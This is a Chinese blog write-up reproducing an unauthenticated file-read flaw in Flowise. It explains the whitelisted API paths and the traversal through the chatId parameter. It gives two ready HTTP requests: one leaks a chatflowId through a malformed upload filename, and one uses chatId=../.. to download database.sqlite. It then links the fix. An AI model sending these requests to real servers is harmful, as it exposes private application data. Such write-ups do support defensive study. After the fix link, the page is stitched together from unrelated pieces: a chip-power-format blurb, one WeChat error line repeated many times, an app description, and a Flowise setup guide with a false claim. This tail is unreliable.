Flowise未授权文件读取复现分析

介绍

Flowise 基于 ️ LangChain.js,是一个非常先进的图形用户界面,用于开发基于 LLM 的应用程序。这些应用程序也称为 Gen Apps、LLM Apps、Prompt Chaining、LLM Chains 等。
Flowise 是专门为 LangChain 打造的用户界面 (UI),利用了 React-Flow 技术。其目的是提供一个无缝平台,用于轻松进行流程实验和原型设计。用户可以享受拖放组件和聊天框功能的便利,以增强他们的体验。

安装

项目地址:https://github.com/FlowiseAI/Flowise

推荐docker 安装,下载想要的版本文件之后,进入docker目录,修改docker-compose.yml文件,将latest修改为对应版本即可,其它的按照官方安装方法进行安装

Docker Compose

Clone the Flowise project
Go to docker folder at the root of the project
Copy .env.example file, paste it into the same location, and rename to .env file
docker compose up -d
Open http://localhost:3000

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

未授权文件读取

在我们分析未授权漏洞时,首先需要摸清它本身的鉴权机制,哪些路径需要权限,那些不需要
在packages\server\src\index.ts中,有一个处理api请求访问控制的机制,如果请求路径以/api/v1/开头并且路径在白名单中,则直接放行

在这里插入图片描述
白名单路径在packages\server\src\utils\constants.ts,其中需要着重关注三个路径
在这里插入图片描述
下来查看/api/v1/get-upload-file 和/api/v1/openai-assistants-file/download接口的具体逻辑

先看第一个接口的逻辑,位于packages\server\src\controllers\get-upload-file\index.ts
在代码中可以看到使用这个接口需要传递参数 chatflowId、chatId、fileName
在这里插入图片描述
在最后会将得到的参数传入streamStorageFile函数,位于
packages\components\src\storageUtils.ts这是一个处理文件存储流的函数,支持多种存储方式(S3、GCS 和本地存储),咱们主要看本地的逻辑
在这里插入图片描述
在这里插入图片描述
getStoragePath()获得的目录为 /root/.flowise/storage

const filePath = path.join(getStoragePath(), orgId, chatflowId, chatId, sanitizedFilename)
在这里插入图片描述
在这里插入图片描述
在这个路径拼接中,固定值为getStoragePath(), orgId, chatflowId,只有chatId, sanitizedFilename是受我们控制的,但是sanitizedFilename是经过sanitize-filename安全净化后的文件名,所以实际受我们控制的只有chatid,在path.join中,方法会对路径的…直接进行解析,实际效果如下
在这里插入图片描述
在这里插入图片描述
所以实际的三重检查中,阻碍的只有第三条,只能访问 /root/.flowise/storage下的文件

if (!path.isAbsolute(filePath)) throw new Error(Invalid file path) // 确保是绝对路径
if (filePath.includes(‘…’)) throw new Error(Invalid file path) // 防止目录遍历攻击
if (!filePath.startsWith(getStoragePath())) throw new Error(Invalid file path) // 确保在存储目录内

/api/v1/openai-assistants-file/download接口逻辑类似
在这里插入图片描述
那么chatflow是我们利用前必须要获取到的,这个在/api/v1/vector/upsert/接口中可以获取,在代码中会将错误进行打印,这里的接口是一个上传文件的接口
在这里插入图片描述
在这里插入图片描述
我们在请求中将文件名修改为特殊符号,那么在文件操作中就会造成报错,导致chatflowId泄露

在代码中会对chatflowid来进行检验,所以必须先在系统中创建一个chatflow
在这里插入图片描述
在这里插入图片描述
如果系统中本身没有chatflow的话,那么使用这个接口就会爆出没有找到的错误
在这里插入图片描述
有的话,则会在报错信息中显示出chatflow
在这里插入图片描述

 POST /api/v1/vector/upsert/ HTTP/1.1
Host: 10.58.113.31:3001
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 172
Connection: keep-alive

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="files"; filename="?"
Content-Type: text/plain


------WebKitFormBoundary7MA4YWxkTrZu0gW--

在这里插入图片描述

GET /api/v1/get-upload-file?chatflowId=434df433-8382-4f46-a073-c78755c1cd0f&chatId=../..&fileName=database.sqlite HTTP/1.1
Host: 10.58.113.31:3001
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close

修复

https://github.com/FlowiseAI/Flowise/pull/5208/commits/f2eb372e6f9fb4138dab740472a6d0fc3084d502

在这里插入图片描述

添加了对chatid检测机制

【源码免费下载链接】:https://renmaiwang.cn/s/fb7fi UPF流程详解:Unified Power Format(UPF)是一种规范化的文件格式,用于约束芯片中的电源域设计。在RTL设计到GDSII生成的全过程中,各EDA工具均可读取UPF文件完成相关处理工作。UPF的诞生旨在应对低功耗设计挑战,提供一种通用的标准来描述芯片中的电源区域结构。从历史发展来看,UPF经历了多个版本的演进。2007年2月22日,Synopsys、Mentor Graphics和Magma Design Automation公司联合发布UPF 1.0标准;随后,Cadence设计系统公司开发的通用功率格式(CPF-Common Power Format)向行业开放。2009年3月27日,IEEE及多家合作伙伴共同推出了UPF 2.0标准;2013年5月29日,该标准被更新为UPF 2.1;2015年12月5日,则升级至UPF 3.0。在培训课程中,UPF 1.0和UPF 2.0均有所涉及,但UPF 2.0已取代其他版本成为主流选择。要采用UPF 2.0标准,则需要更新部分EDA工具以支持其功能。UPF涵盖了多个低功耗单元,包括Level-shifter、Isolation Cell、Power Gating cells以及Always-on单元。其中,Level-shifter用于实现不同电压域之间的信号电平转换;Isolation Cell用于电源关断技术,在电源关闭时输出信号处于不确定状态,从而导致负载单元产生内部电流,造成不必要的功耗;Power Gating cells则通过选择性地开启或关闭VDD与VSS的连接来实现电源管理;而Retention-Register则负责在电源关断模块要求下锁存或恢复数据。使用UPF时,需确保选用支持其功能的工具。例如,Synop
解决个别微信版本,登录提示:"当前客户端版本过低,请前往应用商店升级到最新版本客户端后再登录" 解决个别微信版本,登录提示:"当前客户端版本过低,请前往应用商店升级到最新版本客户端后再登录" 解决个别微信版本,登录提示:"当前客户端版本过低,请前往应用商店升级到最新版本客户端后再登录" 解决个别微信版本,登录提示:"当前客户端版本过低,请前往应用商店升级到最新版本客户端后再登录" 解决个别微信版本,登录提示:"当前客户端版本过低,请前往应用商店升级到最新版本客户端后再登录" 解决个别微信版本,登录提示:"当前客户端版本过低,请前往应用商店升级到最新版本客户端后再登录" 解决个别微信版本,登录提示:"当前客户端版本过低,请前往应用商店升级到最新版本客户端后再登录" 解决个别微信版本,登录提示:"当前客户端版本过低,请前往应用商店升级到最新版本客户端后再登录" 解决个别微信版本,登录提示:"当前客户端版本过低,请前往应用商店升级到最新版本客户端后再登录" 解决个别微信版本,登录提示:"当前客户端版本过低,请前往应用商店升级到最新版本客户端后再登录" 解决个别微信版本,登录提示:"当前客户端版本过低,请前往应用商店升级到最新版本客户端后再登录" 解决个别微信版本,登录提示:"当前客户端版本过低,请前往应用商店升级到最新版本客户端后再登录" 解决个别微信版本,登录提示:"当前客户端版本过低,请前往应用商店升级到最新版本客户端后再登录" 解决个别微信版本,登录提示:"当前客户端版本过低,请前往应用商店升级到最新版本客户端后再登录" 解决个别微信版本,登录提示:"当前客户端版本过低,请前往应用商店升级到最新版本客户端后再登录" 解决个别微信版本,登录提示:"当前客户端版本过低,请前往应用商店升级到最新版本客户端后再登录" 解决个别微信版本,登录提示:"当前客户端版本过低,请前往应用商店
### 应用场景介绍 此应用程序是一个基于 Flet 框架构建的桌面登录验证系统。主要功能包括: - **用户注册**:允许新用户输入用户名和密码进行注册。 - **用户登录**:已注册用户可以通过输入用户名和密码进行登录。 - **主界面**:登录成功后,用户将进入主界面,显示欢迎信息,并提供退出按钮返回登录界面。 - **数据库存储**:使用 SQLite 数据库存储用户信息,确保数据的安全性和持久化。 ### 特色说明 1. **简洁的用户界面**: - 使用 Flet 框架构建,界面简洁美观,易于操作。 - 注册和登录页面设计一致,用户体验良好。 2. **数据持久化**: - 使用 SQLite 数据库存储用户信息,确保数据不会因程序关闭而丢失。 - 数据库表结构简单,便于维护和扩展。 3. **安全的密码管理**: - 密码字段使用 `password=True` 属性,隐藏输入内容,增加安全性。 - 用户名和密码的校验逻辑完善,防止空输入和重复注册。 4. **动态消息提示**: - 注册和登录过程中,根据用户输入和操作结果,动态显示成功或失败的消息提示。 - 消息颜色根据结果变化,绿色表示成功,红色表示失败。 5. **灵活的页面切换**: - 通过 `show_page` 函数统一管理页面显示,确保页面切换流畅。 - 注册和登录页面之间可以互相跳转,方便用户操作。 6. **资源管理**: - 在程序关闭时,自动关闭数据库连接,释放资源,确保程序的稳定性。 ### 总结 该应用程序通过 Flet 框架和 SQLite 数据库的结合,实现了一个功能完整、界面友好的用户注册和登录系统。适用于需要用户身份验证的小型桌面应用。
### 如何在 Docker 中使用或部署 Flowise Flowise 是一种基于 Langchain 和 FastAPI 的开源工具,用于构建和管理对话式 AI 应用程序。要在 Docker 容器中使用或部署 Flowise,可以按照以下方式操作。 #### 部署 Flowise 使用 Docker 为了通过 Docker 运行 Flowise,首先需要确认本地环境已经安装了 Docker 及其相关组件[^1]。以下是具体的操作流程: 1. **克隆 Flowise 仓库** 如果官方提供了 GitHub 或其他版本控制平台上的源码,则可以通过 `git clone` 命令获取项目代码。 ```bash git clone https://github.com/flowiseai/Flowise.git ``` 2. **进入项目目录并配置环境变量** 移动到项目的根目录下,并复制 `.env.example` 文件作为基础模板来创建实际使用的 `.env` 文件。 ```bash cd Flowise cp .env.example .env ``` 3. **启动容器化服务** 利用 Docker Compose 工具简化多容器应用的编排工作流。执行如下命令即可以后台模式运行所有必要的服务实例。 ```bash docker compose up -d ``` 完成上述步骤之后,访问浏览器中的指定地址(通常是 http://localhost:3000),应该能够看到 Flowise 用户界面加载成功。 #### 自定义设置与扩展功能 如果希望进一步调整默认参数或者集成额外的功能模块,在修改对应的配置项前务必熟悉文档说明以及支持的技术栈特性。例如更改端口号、启用 HTTPS 支持等高级选项都需要编辑相应的 YAML 文件内容后再重新拉起更新后的镜像版本。 ```yaml version: '3' services: app: build: . ports: - "8000:8000" environment: PORT: 8000 ``` 以上展示了一个简单的自定义示例片段,其中指定了不同的暴露端口映射关系以便于外部网络请求接入。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值